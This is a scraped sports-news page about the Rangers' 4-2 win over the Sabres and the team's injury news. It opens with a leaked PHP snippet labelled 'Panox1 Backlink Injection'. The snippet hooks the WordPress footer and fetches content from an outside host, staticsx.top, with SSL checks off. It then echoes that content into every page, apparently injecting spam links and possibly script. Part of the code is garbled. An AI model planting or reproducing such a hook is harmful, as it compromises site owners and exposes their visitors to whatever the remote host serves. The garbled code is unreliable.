// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Rangers far from convincing in 4-2 win over Sabres – Next Sports News

Rangers far from convincing in 4-2 win over Sabres

[ad_1]

Derick Brassard (l.) puts the Rangers on the scoreboard in Tuesday night's win at Buffalo.Bill Wippert/NHLI via Getty Images

Derick Brassard (l.) puts the Rangers on the scoreboard in Tuesday night’s win at Buffalo.

BUFFALO – The Rangers surely would have signed up for two wins in three games without an injured Henrik Lundqvist, which backup Antti Raanta gave them in Tuesday night’s 4-2 win over the Sabres as the King skated back in Westchester and eyed a weekend return.

But this ugly affair at First Niagara Center was certainly not Alain Vigneault’s idea of an assuring victory for his Blueshirts, who wore their home blue jerseys on the road for the first time since Oct. 21, 2010, at Toronto, excluding a Feb. 7, 2011, Heritage jersey appearance in Detroit.

The Rangers (39-22-6, 84 points) spent almost no time in the offensive zone. They were fortunate to run into shaky Sabres goalie Robin Lehner (11 saves on 14 shots), who was yanked after poor challenges on goals by Mats Zuccarello at 4:38 of the second period and Jesper Fast shortly after at 6:05.

Raanta was solid in his season-high third straight start, but the Sabres (27-32-9, 63 points) narrowed a 3-0 deficit to 3-2 by 16:10 of the second period on rush goals by Sam Reinhart and Johan Larsson, both against the line of J.T. Miller, Derek Stepan and Zuccarello.

Miller, whom Vigneault benched for most of the second half of Sunday night’s 6-4 home loss to the Islanders, looked like he lacked confidence in his decision-making though he was started back in the top six forwards.

At the end of the second period, Miller and Zuccarello stayed on the ice together alone for a good 15 extra seconds after both teams had gone to the locker room to discuss the period. But Vigneault this time left Miller on the ice and trusted him, and Zuccarello’s third point of the night was a Miller empty-net goal at 19:00 of the third period to provide important insurance with the Sabres pushing furiously.

The Rangers improved to 11-0-0 in their last 11 games following a regulation loss dating to Dec. 22, per Elias Sports Bureau, extending the franchise record for a single season.

Antti Raanta (l.) looks solid again in goal in replacement of the injured Henrik Lundqvist.Kevin Hoffman/USA Today Sports

Antti Raanta (l.) looks solid again in goal in replacement of the injured Henrik Lundqvist.

The Rangers led, 1-0, after the first because Raanta bailed them out twice. He stopped a Larsson rebound with his left skate after a Dom Moore turnover, and he denied Marcus Foligno’s shorthanded chance after three consecutive bad turnovers on the power play by Chris Kreider, Keith Yandle and Derick Brassard.

Brassard opened scoring with his team-leading 24th goal of the season at 7:30 off a smart Zuccarello stretch pass and a Yandle second assist, but the goal was a reminder of how much the formerly dynamic duo of Brassard and Zuccarello has struggled to find their typical chemistry.

Brassard’s goal, in fact, was the first goal scored with a goaltender in the net by either Brassard or Zuccarello on which the other recorded the primary assist since Jan. 11. That’s the first time in 24 games since Brassard finished from Zuccarello in a 2-1 home win over the Bruins.

The only other goal on which the other assisted was a Brassard empty-netter from Zuccarello in a 4-2 win in Toronto on Feb. 18. That’s why Vigneault split them onto different lines Tuesday in Buffalo after they played together in Sunday’s loss to the Isles.

NASH PROGRESSING, STAAL BETTER, McILRATH NOT

Vigneault said both Rick Nash (left leg bone bruise) and Lundqvist (neck spasms) “had a real good day” skating at home. Marc Staal (back spasms) did not skate but is “feeling a lot better.” Dylan McIlrath (right knee cap injury) will miss “a couple weeks.”

[ad_2]

Source link

Reply